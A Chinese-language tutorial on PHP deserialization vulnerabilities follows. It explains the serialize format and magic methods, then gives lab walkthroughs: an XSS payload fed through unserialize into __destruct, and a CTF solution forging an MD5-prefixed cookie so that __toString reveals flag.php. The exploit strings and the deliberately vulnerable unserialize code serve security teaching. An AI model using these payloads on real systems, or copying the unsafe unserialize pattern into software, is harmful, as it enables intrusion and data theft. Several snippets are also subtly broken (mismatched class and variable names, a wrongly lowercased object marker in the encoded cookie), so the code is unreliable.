小知识
=== 【比较 数值相等、类型相等】 == 【比较,数值相等】 = 【赋值 赋予数值】 => 【键值分离】 -> 【类里面的方法调用或者传参】
漏洞原理
序列化: 游戏的存档 —— 把当前的状态保存下来 反序列化: 游戏的读档 —— 通过保存下来的信息恢复到当初的状态
序列化
序列化 (serialize )是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
简单的理解:将PHP 中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
<meta charset='UTF-8' />
<?php
show_source(__FILE__); //高亮显示文件内容,__FILE__为php中的文件常量
class ab{ //class 类名
var $test ='123'; //$test=123 变量的赋值,var为数据类型
}
$class = new a; //初始化对象
$class1_ser = serialize($class1);
print_r("<br />".$class1_ser);
?>
不只对象,数组、变量均可以序列化。
反序列化
序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用,重新再转化为对象或者其他的。【将字符串转化为状态信息】
反序列化特点:
php 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,这会造成随便在序列化数据后添加一些无用字符,反序列化的时候也会被忽略,因为遇到了;} 会忽略后面的字符;unserialize 根据长度判断内容,长度不对应的时候会报错;- 可以反序列化类中不存在的元素。
函数解析
序列化:serialize()函数
所有php 里面的值都可以使用函数serialize() 来返回一个包含字节流的字符串来表示。通俗来说,就是把一个对象变成可以传输的字符串。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符 (即“S”)
S:对象的名称
1:代表对象里面有一个变量
s:数据类型 (string 字符串)
4:变量名称的长度
test:变量名称
s:数据类型 (pikachu 同样为字符串string)
7:变量值的长度
pikachu:变量值
对于对象,序列化后的格式为:
O:strlen(类名):类名:类的变量个数:{类型:长度:值;类型:长度:值…}
其他类型的数据序列化后的格式为:
String 类型 :s:size:value Integer 类型 :i:value Boolean 类型 :b:value (保存1 或0 ) Null 型 :N Array :a:size:{keydefinition;value definition}
还有需要注意的点是:分割不同字段} 结尾,这对反序列化很重要
反序列化 :unserialize()函数
就是把被序列化的字符串还原为对象,转换为php 的值,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP 中的魔法函数,就会导致安全问题.
魔术方法
- 魔术方法:自动触发的函数。【满足条件自动触发】
- 很多开发不写底层,下载一个框架就拿来用,或者
CMS 改一改, 他们在开发的时候很多时候并不清楚底层的魔术方法和函数有哪些,为了开发方便都会写一起。
常见的几个魔法函数: //不同场景下被自动调用
__construct()当对象创建(new)时会自动调用。但在反序列化时是不会自动调用的。(构造函数)
__destruct()当对象被销毁时会自动调用。(析构函数)
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 在反序列化时立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test; //一旦S这个类被创建,则将会自动使用魔法函数。当对象被销毁时,则下面的操作会被自动执行
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload【有效攻击负载,是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码】:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
反序列化的内容是从用户前端传过来的,若从前端传来的内容中插入了恶意的反序列化的内容,后台检测到会对内容进行反序列化,则通过反序列化的接口造成XSS 漏洞【XSS 漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入 ,进而篡改网页,插入恶意脚本,从而控制用户浏览的一种攻击。】
pikachu靶场练习1
反序列化漏洞一般需要代码审计来进行测试,扫描或者黑盒测试【在测试时,把程序看作一个不能打开的黑盒子,在完全不考虑程序内部结构和内部特性的情况下,测试者在程序接口进行测试,它只检查程序功能是否按照需求规格说明书的规定正常使用,程序是否能适当地接收输入数据而产生正确的输出信息,并且保持外部信息(如数据库或文件)的完整性,】很难发现这个漏洞。 源码:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
变量$s 从url 中test 参数获取到内容,并且在反序列化的时候通过__destruct() 直接将传入的数据(恶意的javascript )不经过任何处理,echo 出来,这里就构造了xss 漏洞。当脚本结束运行时,所有的对象都会销毁,就会自动调用__destruct 方法。我们输入正确的反序列化的payload 内容,则会弹出xss 窗口。
靶场练习2
<?php
Class readme{
public function __toString() //__toString():echo打印对象体时会直接调用
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true); //$this->source:定义了变量source,但是没有赋值
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__; //给变量source赋值__FILE__
echo $s; //$s->source = flag.php才会得到flag
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos']; //$c=$h.$m
$h = substr($c, 0, 32); //字符串32位之前,$h = e2d4f7dcc43ee1db7f69e76303d0105c
$m = substr($c, 32); //字符串的32位到所有,$m = a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
if(md5($m) === $h){
$todos = unserialize($m); //因为下面$todos为数组输出,因此,反序列化后的$m也应该为数组
}
}
cookie传参:e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?> //$todos为数组,foreach遍历数组
<li><?=$todo?></li> // <?php echo$todo; ?>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
cookie 传参为todos=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}} ,但因为是cookie 传参,所以需要进行url 编码,【Cookie 和 GET 一样,传参需要URL编码(burp 不会自动编码)】最终为e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d 。- 抓取的数据包是进入靶场后直接刷新页面的数据包。
放包后即可得到flag。
总结
|